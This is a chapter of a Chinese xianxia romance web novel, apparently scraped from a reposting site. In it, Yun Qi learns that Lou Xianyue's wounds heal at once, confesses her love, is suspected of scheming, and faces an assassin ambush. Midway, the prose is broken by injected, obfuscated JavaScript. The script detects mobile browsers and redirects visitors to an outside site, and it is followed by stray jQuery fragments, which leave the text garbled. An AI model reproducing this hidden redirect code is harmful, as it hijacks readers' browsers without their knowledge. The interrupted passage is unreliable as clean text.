云栖寻着那抹幽蓝荧光飘来的方向,剥开灌木。
眼前景象让她呼吸骤停——
楼衔月背对着她,周身翻滚着幽暗如冥狱的青焰。
几名黑衣刺客在他的威压下如同陷入琥珀的飞虫,动弹不得。
青焰只需再近一步,就能将他们吞噬成灰烬。
就在这时,楼衔月仿佛感应到什么,抬眼看向云栖所藏之处。
隔着纷飞的落叶与半人高的丛木,他并未与她对视上。
但青焰却隐隐开始躁动。
焰尖仿佛被风吹动的柳梢,向她飘摇。
云栖进退两难。
她既怕林中有其他刺客,她退后会暴露位置。
又怕她待在原地会影响道友发挥。
刺客抓住机会,几人合力劈开青焰,搏出一条生路。
紧接着暗器直击楼衔月命门。
妖力切换为灵力,形势转瞬逆转,楼衔月依旧在杀机中从容有余。
而云栖攥紧的手心却渗出冷汗。
“铮——”
一枚淬着幽绿的棱镖,截断他束发的昙花木簪,在他脸侧拉出一条细长的血线。
血珠缓慢沁出,衬得他肤色更白,眸色更深。
楼衔月停下,静静地看着掉落在地面的半截昙花残体。
血液顺着他的下颌滴落,在空中化为青焰烧尽。
有股山雨欲来风满楼的摧毁之势,刺客一时间竟也不敢做出动作。
云栖盯着那道伤口,双眼渐渐睁大。
血痕边缘的皮肉,以肉眼可见的速度蠕动、愈合。
不过呼吸间,便只剩一道淡粉色新肉。
随即那点粉色也消失不见,皮肤白皙如初。
道友有快速愈合的能力。
认知到这一点,如同点燃一条引线,有什么在她脑海中炸开。
她早该注意到的。
在破庙时,明明断剑砍断的发丝能迅速生长。
在湖底时,明明他也受了伤,可后来却是他一直在照顾她。
而道友腕臂上的疤,却能让她一直看见。
他伤疤处肌肤的温度和别处不同。
这伤疤不是一次制成的。
而是每时每刻都在不断地烧灼着他。
呼吸困难,心脏刺痛酸楚,云栖承受不住地捂住胸口。
丛间枯叶随着她的动作发出轻微的碎裂声。
刺客反应迅速,朝她所在方向袭来。
他们仅迈出一步,四肢骨骼便刺破皮肉衣物,扭曲交叉。
血水在地面晕开,骨花再现。
这一次,她没有害怕。
待他处理完刺客,云栖从躲藏的灌木中走出。
她视线黏在他身上,一步步向他走近。
“云栖姑娘?”楼衔月调试好神情,温柔的目光下夹杂着些诧异。
他向她走去,用身体拦截她的目光,遮住背后血腥的场景。
可少女并未表现出害怕,而是流露出一种令他感到心颤的情愫。
楼衔月嘴角的弧度僵硬,缓慢停下脚步,安静地注视着她。
少女托起他的手腕,轻轻拨开他的衣袖。
黑色褶皱狰狞的伤疤暴露在空气中。
少女呼吸频率紊乱,埋着头好半晌才抬起脸。
一滴清泪从她眼纱下滑落,他听她问,“楼衔月,你是不是很疼啊?”
泪猛地砸到他的心间,差点把他的面具砸碎。
手腕青筋痉挛,楼衔月眨眨眼,温柔地抽回手:“姑娘不必担忧,陈年旧疤而已。”
少女执着地盯着他,神情带着心疼与哀伤,仿佛要逼他丢盔卸甲。
楼衔月第一次生出想要逃离的冲动。
不可能。
或许她的情感是真的,但也是在心疼那人所受的伤。
手在袖子里攥紧成拳,楼衔月强迫自己转身。
为了掩饰心中的波动,他蹲下身捡起遗落的半截木簪。
“可惜,这木簪刚刚不小心弄坏了。”楼衔月含笑的嘴角再次变得真实。
然而指尖再次被拦住。
云栖在他触碰到木簪之前,握住他的手。
“对不起,楼衔月,我之前没有完整的和你解释清楚。”
“我记忆中那支木簪刻的不是昙花,是月亮。”
楼衔月呼吸一滞,而云栖却没打算放过他,继续道:
“而且,在湖底时,我见到了另一个自己。”
“她告诉我,我一直喜欢你。”
楼衔月猛地抬眼,深深地看着她,仿佛要将她看入骨子里。
她十分真挚坦然。
她说的是实话。
这个认知比任何术法都更具杀伤力,瞬间击穿他牢固的心防。
他眼底的伪装寸寸剥落,露出一片罕见的、近乎空白的茫然,甚至有一丝无助。
喉结滚动,他想说什么,却发不出声音。
然而,这珍贵的脆弱只存在了一息。
她喜欢他?
一道自嘲的冷光从楼衔月眼底急速滑过。
他不记得他是如何失魂落魄地走在路上,不记得他一个人走了多久。
不记得他被什么样的马车撞倒,倒在泥地中,一天又一天。
有人不小心踩到他,车轮从他身上压过。
他也不记得是谁将他像包裹尸体似的,用草席将他仍去路边。
但他记得,她赶他走时的决心,以及与那人成婚后,日子过得如何幸福安稳。
她总是知道,怎么样最能打动他,又最能……摧毁他。
像冰层下的暗流陡然改向,楼衔月眼底那点微光迅速冻结、沉默,被更幽深、更熟悉的黑暗吞没。
他慢慢地、一根一根地,将自己的手指从云栖的掌心抽离。
动作很轻,却带着一股决绝的冷意。
少女无措地看着他,不明所以地继续解释:“我们之间是不是有什么误会?我……”
“云栖姑娘。”
他打断她,声音恢复了往日的温润,却比任何时候都更空洞:“为了见他还真是……煞费苦心。”
云栖一怔,没明白话题为何突然跳转。
楼衔月后退半步,与她拉开礼貌而疏离的距离。
他弯腰,拾起那截断裂的“昙花”木簪,指腹摩挲过断面。
“姑娘想取得我的信任,好顺理成章地去无桑皇城,见到故人,对吗?”
楼衔月攥紧手中的断簪,木刺扎入掌心,渗出细细的血珠,又瞬间燃烧蒸干。
闻言,云栖脸色变得煞白。
“但可惜,”他垂下眼帘,遮住其中的疯狂与痛苦,声音轻得像一声叹息,“你太迟了。”
“若你在想去皇城前说这些,说不定我就信了。”
楼衔月的话像一把冰锥,将她鼓起的勇气和坦诚凿得粉碎。
几息之间,委屈、茫然、还有一种更深的心疼席卷了她。
她想解释,但发现任何辩解在他那套自洽的、充满痛苦的逻辑面前都苍白无力。
但
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016141|194112||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
很快,一种更清晰的决心压过了这些情绪。
“衔月道友,你可以不信我此刻说的任何话。”
“但我会证明给你看。”
云栖比任何时候都相信她的直觉——她现在放开他,无异于比直接推开他更伤害他。
而且她有把握理清她和道友的关系。
无论过去发生过什么,她都会去找出来,做出决断。
“嘭——”
捆仙绳绑着几名黑衣刺客从天摔落,打断二人的谈话。
接着御剑的宿明珠与乘着纸鹤的鹤续连续利落地一跃而下。
“鹤续试出,他们中的确有白玉京的人。”宿明珠果断出手打晕准备挣扎的刺客。
鹤续在旁边手撑着下巴,附和地点头:“居然还有内鬼,事情越来越复杂了啊!”
“我们中需要有人将叛徒带回白玉京审问,”宿明珠意有所指地看向楼衔月,“你送她去皇城,我不放心。”
楼衔月听完宿明珠的安排,静默片刻。
“师姐所言甚是,”他抬眸,目光平静地落在云栖脸上,“但云栖姑娘若是不想去皇城,我便不会让白玉京强人所难。”
云栖心一颤。
他一定将她的话信了个八九分,所以他在给她机会,再让她选一次。
他刚刚误会她想去无桑皇城的目的是去见故人。
他不想她见到故人。
云栖看着楼衔月沉静无波的眼睛,知道这是他最后的“测试”。
但她不能稀里糊涂地让道友带着假面度过余生,她必须找到真相。
“不,”她听见自己的声音清晰地响起,“我想去。”
在楼衔月眼底最后一丝微光寂灭前,云栖继续道:“但我也想和楼道友一起。”
宿明珠冷情的眼神扫过来,云栖丝毫不退缩:“不仅是想找回我失去的记忆。”
“神医、余庆以及我师父的死,都和无面神像有关,我也想弄清楚背后原委。”
“另外。”
云栖咬牙抽出身体里的灵力,在掌心凝聚。
汗珠从她额头滴落,脸上血色褪去,云栖强撑着道:“宿仙吏可以探我的灵脉。”
“我是将死之人,以前靠着师父的丹药续命,如今是靠道友的灵力。”
生机尽无,是道友告诉她的。
但她比任何人都清楚她身体的情况,她并不奢求两三载年华。
云栖倏地摊倒,楼衔月单手搀住她的胳膊,稳住她的身形。
感激地看了眼身侧的人,云栖转过头,继续恳求道:“我掀不起什么风浪。”
“还请宿仙吏通融,我必定会尽快前往无桑皇城。”
“嗖!嗖!嗖!”
四人对峙之时,破空之声骤响。
数道锋利短弩从林间不同方向射来,目标明确,全部指向云栖。
宿明珠眼神一冷,长剑剑花挽过,所有弩箭凌空结冰断裂。
三名黑袍杀手浮空出现。
强大的灵力袭来,周围树木瞬时倒下大片,杀意凛冽。
鹤续甩出金钟抵挡。
宿明珠冷冷看向被灵力划破的肩膀衣物,分辨道:“皇城散修?”
“交出你们身后的女子,可留你们一命。”
黑袍中一人开口施压,声音宏朗有力。
宿明珠没有回头,“师弟你带云栖姑娘离开。”
似乎还是不放心,她补充道:“待我处理好叛徒一事,会立即前往无桑皇城,若到时不见云栖姑娘,我会亲自来寻。”